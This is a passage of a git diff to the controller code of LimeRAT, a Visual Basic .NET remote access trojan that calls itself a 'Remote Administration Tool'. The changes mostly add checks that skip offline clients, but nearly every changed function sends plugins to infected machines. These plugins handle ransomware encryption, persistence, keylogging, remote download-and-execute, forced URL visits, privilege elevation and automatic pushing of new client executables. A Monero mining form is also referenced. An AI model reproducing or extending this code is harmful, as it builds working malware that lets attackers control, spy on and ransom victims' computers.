x.SubItems(RANS.Index).Text = "Encryption in progress..." OrElse x.SubItems(RANS.Index).Text = "Decryption in progress..." OrElse x.SubItems(RANS.Index).Text = "Encrypted" Then + result = MessageBox.Show("Client didn't finish decrypting yet.." & vbNewLine & vbNewLine & "This might corrupt all files, Do you still want to countine? ", "", MessageBoxButtons.YesNo) + If result = DialogResult.Yes Then + S.Send(x.Tag, "IPLM" + SPL + Convert.ToBase64String(GZip(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\PCL.dll"), True)) + SPL + "CL-|'P'|3") + x.BackColor = Color.DarkSlateGray + End If + Else + S.Send(x.Tag, "IPLM" + SPL + Convert.ToBase64String(GZip(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\PCL.dll"), True)) + SPL + "CL-|'P'|3") x.BackColor = Color.DarkSlateGray End If - Else - S.Send(x.ToolTipText, "IPLM" + SPL + Convert.ToBase64String(GZip(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\PCL.dll"), True)) + SPL + "CL-|'P'|3") - x.BackColor = Color.DarkSlateGray End If Next Catch ex As Exception @@ -1632,8 +1732,10 @@ Public Class Main Private Sub PersistenceToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles PersistenceToolStripMenuItem.Click Try For Each x As ListViewItem In L1.SelectedItems - S.Send(x.ToolTipText, "IPLM" + SPL + Convert.ToBase64String(GZip(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\PERS.dll"), True)) + SPL + " ") - x.BackColor = Color.DarkSlateGray + If Not x.SubItems(PING.Index).Text.ToString.Contains("Offline") Then + S.Send(x.Tag, "IPLM" + SPL + Convert.ToBase64String(GZip(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\PERS.dll"), True)) + SPL + " ") + x.BackColor = Color.DarkSlateGray + End If Next Catch ex As Exception MsgBox(ex.Message, MsgBoxStyle.Critical) @@ -1645,8 +1747,8 @@ Public Class Main Try For Each x As ListViewItem In L1.SelectedItems Dim KL As File_Manager = My.Application.OpenForms("KL" + x.SubItems(ID.Index).Text) - If KL Is Nothing Then - S.Send(x.ToolTipText, "KL") + If KL Is Nothing AndAlso Not x.SubItems(PING.Index).Text.ToString.Contains("Offline") Then + S.Send(x.Tag, "KL") x.BackColor = Color.DarkSlateGray End If Next @@ -1670,8 +1772,10 @@ Public Class Main Dim CMD = SB(S_Encryption.AES_Encrypt("IPLM" + SPL + PLG + SPL + "RD-|'P'|" + IO.Path.GetFileName(o.FileName) + "|'P'|" + F)) MS.Write(CMD, 0, CMD.Length) For Each x As ListViewItem In L1.SelectedItems - S.SendData(x.ToolTipText, MS.ToArray) - x.BackColor = Color.DarkSlateGray + If Not x.SubItems(PING.Index).Text.ToString.Contains("Offline") Then + S.SendData(x.Tag, MS.ToArray) + x.BackColor = Color.DarkSlateGray + End If Next MS.Dispose() End If @@ -1690,8 +1794,10 @@ Public Class Main Exit Sub Else For Each x As ListViewItem In L1.SelectedItems - S.Send(x.ToolTipText, "IPLM" + SPL + Convert.ToBase64String(GZip(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\MISC.dll"), True)) + SPL + "RU-|'P'|" + URL.ToString + "|'P'|" + EXE.ToString) - x.BackColor = Color.DarkSlateGray + If Not x.SubItems(PING.Index).Text.ToString.Contains("Offline") Then + S.Send(x.Tag, "IPLM" + SPL + Convert.ToBase64String(GZip(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\MISC.dll"), True)) + SPL + "RU-|'P'|" + URL.ToString + "|'P'|" + EXE.ToString) + x.BackColor = Color.DarkSlateGray + End If Next End If Catch ex As Exception @@ -1711,8 +1817,10 @@ Public Class Main URL = "http://" + URL End If For Each x As ListViewItem In L1.SelectedItems - S.Send(x.ToolTipText, "IPLM" + SPL + Convert.ToBase64String(GZip(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\MISC.dll"), True)) + SPL + "Visit|'P'|" + URL) - x.BackColor = Color.DarkSlateGray + If Not x.SubItems(PING.Index).Text.ToString.Contains("Offline") Then + S.Send(x.Tag, "IPLM" + SPL + Convert.ToBase64String(GZip(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\MISC.dll"), True)) + SPL + "Visit|'P'|" + URL) + x.BackColor = Color.DarkSlateGray + End If Next End If Catch ex As Exception @@ -1724,8 +1832,10 @@ Public Class Main Private Sub RunAsAdministratorToolStripMenuItem_Click(sender As Object, e As EventArgs) Handles RunAsAdministratorToolStripMenuItem.Click Try For Each x As ListViewItem In L1.SelectedItems - S.Send(x.ToolTipText, "IPLM" + SPL + Convert.ToBase64String(GZip(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\MISC.dll"), True)) + SPL + "PRI|'P'|") - x.BackColor = Color.DarkSlateGray + If Not x.SubItems(PING.Index).Text.ToString.Contains("Offline") Then + S.Send(x.Tag, "IPLM" + SPL + Convert.ToBase64String(GZip(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\MISC.dll"), True)) + SPL + "PRI|'P'|") + x.BackColor = Color.DarkSlateGray + End If Next Catch ex As Exception MsgBox(ex.Message, MsgBoxStyle.Critical) @@ -1783,20 +1893,22 @@ Public Class Main End Sub Public ClientEXE As String - Private Sub Timer3_Tick(sender As Object, e As EventArgs) Handles Timer3.Tick + Private Sub Timer3_Tick(sender As Object, e As EventArgs) Handles AutoUpdate.Tick For Each x As ListViewItem In L1.Items - If x.SubItems(VER.Index).Text <> S_Settings.StubVer Then - S.Send(x.ToolTipText, "IPLM" + SPL + Convert.ToBase64String(GZip(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\PCL.dll"), True)) + SPL + "CL-" + "|'P'|" + "4" + "|'P'|" + IO.Path.GetFileName(ClientEXE) + "|'P'|" + Convert.ToBase64String(GZip(IO.File.ReadAllBytes(ClientEXE), True))) + If x.SubItems(VER.Index).Text <> S_Settings.StubVer AndAlso Not x.SubItems(PING.Index).Text.ToString.Contains("Offline") Then + S.Send(x.Tag, "IPLM" + SPL + Convert.ToBase64String(GZip(IO.File.ReadAllBytes(Application.StartupPath & "\Misc\Plugins\PCL.dll"), True)) + SPL + "CL-" + "|'P'|" + "4" + "|'P'|" + IO.Path.GetFileName(ClientEXE) + "|'P'|" + Convert.ToBase64String(GZip(IO.File.ReadAllBytes(ClientEXE), True))) Messages(x.SubItems(IP.Index).Text, "Updated to [" + S_Settings.StubVer + "] using Auto-Update") End If Next End Sub 'Ping all clients - Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick + Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles PingClients.Tick Try For Each x As ListViewItem In L1.Items - S.Send(x.ToolTipText, "!PSend") + If Not x.SubItems(PING.Index).Text.ToString.Contains("Offline") Then + S.Send(x.Tag, "!PSend") + End If Next Catch : End Try End Sub @@ -2052,6 +2164,8 @@ Public Class Main End Sub + + #End Region diff --git a/Project/Server/Forms/OnConnect.vb b/Project/Server/Forms/OnConnect.vb index f480d62..4d2ede2 100644 --- a/Project/Server/Forms/OnConnect.vb +++ b/Project/Server/Forms/OnConnect.vb @@ -5,7 +5,7 @@ Private Sub barPing_Scroll(sender As Object, e As ScrollEventArgs) Handles barPing.Scroll txtPing.Text = "Ping All Clients Every : " + barPing.Value.ToString + " Second" - Main.Timer2.Interval = barPing.Value * 1000 + Main.PingClients.Interval = barPing.Value * 1000 End Sub Private Sub chkDE_CheckedChanged(sender As Object, e As EventArgs) Handles chkDE.CheckedChanged @@ -79,7 +79,7 @@ e: 'End If Main.ClientEXE = o.FileName - Main.Timer3.Start() + Main.AutoUpdate.Start() End If End If Catch ex As Exception @@ -90,7 +90,7 @@ e: Private Sub btnUpdateStop_Click(sender As Object, e As EventArgs) Handles btnUpdateStop.Click Try - Main.Timer3.Dispose() + Main.AutoUpdate.Dispose() Catch ex As Exception End Try End Sub diff --git a/Project/Server/My Project/AssemblyInfo.vb b/Project/Server/My Project/AssemblyInfo.vb index 6ea54ce..8da54d6 100644 --- a/Project/Server/My Project/AssemblyInfo.vb +++ b/Project/Server/My Project/AssemblyInfo.vb @@ -31,5 +31,5 @@ Imports System.Runtime.InteropServices ' by using the '*' as shown below: ' - - + + diff --git a/Project/Server/Server.vbproj b/Project/Server/Server.vbproj index 8e68d31..aee269b 100644 --- a/Project/Server/Server.vbproj +++ b/Project/Server/Server.vbproj @@ -102,7 +102,7 @@ - + About.vb @@ -228,6 +228,7 @@ XMR.vb + Designer VbMyResourcesResXFileCodeGenerator diff --git a/Project/Server/obj/Debug/TempPE/My Project.Resources.Designer.vb.dll b/Project/Server/obj/Debug/TempPE/My Project.Resources.Designer.vb.dll index 2408d87..98ecaad 100644 Binary files a/Project/Server/obj/Debug/TempPE/My Project.Resources.Designer.vb.dll and b/Project/Server/obj/Debug/TempPE/My Project.Resources.Designer.vb.dll differ diff --git a/Project/Server/obj/Release/DesignTimeResolveAssemblyReferences.cache b/Project/Server/obj/Release/DesignTimeResolveAssemblyReferences.cache index 66d50fb..d663487 100644 Binary files a/Project/Server/obj/Release/DesignTimeResolveAssemblyReferences.cache and b/Project/Server/obj/Release/DesignTimeResolveAssemblyReferences.cache differ diff --git a/Project/Server/obj/Release/TempPE/My Project.Resources.Designer.vb.dll b/Project/Server/obj/Release/TempPE/My Project.Resources.Designer.vb.dll index 8cc8a1e..ea268e4 100644 Binary files a/Project/Server/obj/Release/TempPE/My Project.Resources.Designer.vb.dll and b/Project/Server/obj/Release/TempPE/My Project.Resources.Designer.vb.dll differ diff --git a/README.md b/README.md index c673a85..8278827 100644 --- a/README.md +++ b/README.md @@ -1,6 +1,6 @@ -# LimeRAT v0.1.8 [BETA] +# LimeRAT v0.1.8 ***Remote Administration Tool For Windows***